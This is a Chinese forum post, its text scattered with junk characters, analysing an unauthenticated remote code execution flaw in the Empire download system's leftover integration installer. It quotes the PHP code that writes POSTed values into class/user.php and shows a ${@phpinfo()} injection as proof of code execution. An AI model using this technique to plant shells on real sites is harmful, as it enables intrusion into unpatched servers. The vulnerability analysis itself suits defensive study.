这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
) i: D2 x( i! m4 S) q$ Z9 ^! {" c. X. G& ?) e
! h5 g" Z2 X2 j! Y, f3 g
这是帝国的一套下载系统 如图- e$ N; |0 k9 j! N, o9 }( p
ps(不需要任何账户和密码,直接写shell) 7 H/ W, M0 N+ k
由于很多站是由于下载要整合discuz 等等一些论坛....* a' r3 ^5 F8 U8 x7 D8 L9 ?
2 K9 K& m6 }) h' B- a而帝国他又有一个万能接口,如图
" m$ z; n/ u8 y8 B. r- a2 `4 m% V$ T0 R
* \0 R. o: F2 K: p; o: `' r+ M0 t9 b
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码# z- b$ ~- B6 r/ I! ?9 K
9 S v+ U8 t6 `/ |5 F
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
) G, q: Q! j! O5 r
# s8 w" ~7 C7 |# V7 u! A% v- q在data/fun.php中的15行
3 q+ z8 i! E$ E! [$ a5 D' Z* \1 I. b3 |
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {# y% X. h9 i7 F1 \8 G
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干' }( l/ V, S/ G3 C, s9 E' I
- i( D. \3 h8 b S7 A2 m6 }
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
( ]; p2 l- D+ k6 e5 ]7 H4 K7 d: ~: @: c6 Y2 [4 u/ j
他将传进来的变量进行了切割,然后赋给了$filetext
1 z8 [$ f2 |2 o/ {' j
2 Z3 i9 ?1 }3 \3 F$ a: g) |然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
3 c1 E( y2 X3 b3 @( r9 v7 j1 f/ T) v; ?. Z! k: ?. I& ]
我们看看写入的结果,随便填一个
5 ~( ?8 a% [( w0 }6 @1 d# o. t" V; d& w# Z8 K% l
. L' ]1 V& M5 J: v( P
8 p! m5 c7 Y# n! w4 S
+ f8 X# L4 }$ [+ K' \; w" X% \7 i# w# v3 C4 ^# T" h
- x: z7 j- \# W* H/ \2 h9 M" j S) \) [& G5 ?0 _
0 P7 n* O% h# t/ G2 ]1 Y9 p
7 A5 z% @. M) z% H. p/ j+ F+ z9 L0 Z5 c+ T4 p( ^
: _/ g3 p8 b& n ^/ u) y
. L4 s( L o2 G2 F+ j# O1 u# W+ F, Z4 V* J
2 r, T3 f3 o& \7 Y
$ Q4 C! l! O! Z1 @: K2 v4 r7 j! s+ h" I+ q! A3 `7 @, c9 u! x
! P% U; S) ^" Q
6 H, j/ a x$ D6 V# C- g# U2 [' | |2 k' Q+ j) m6 R
- q: Z8 z ^0 Y. z% h( U+ u# R' d, z( V. X
所以我们淫荡点,写个${@phpinfo()}试试 + V% ^8 l6 |3 L
然后访问以下class/user.php这个文件
( S3 r8 z% \1 o7 s% g日了吧
" \; g) p1 J9 H) `% y
8 \' c7 z' {& x; \& R# G$ h! v* K$ H% e
2 u5 G+ ?% }4 R6 [0 b4 [- N* s5 b# g' ~
& h! o! S3 s2 H* d. U7 ~
|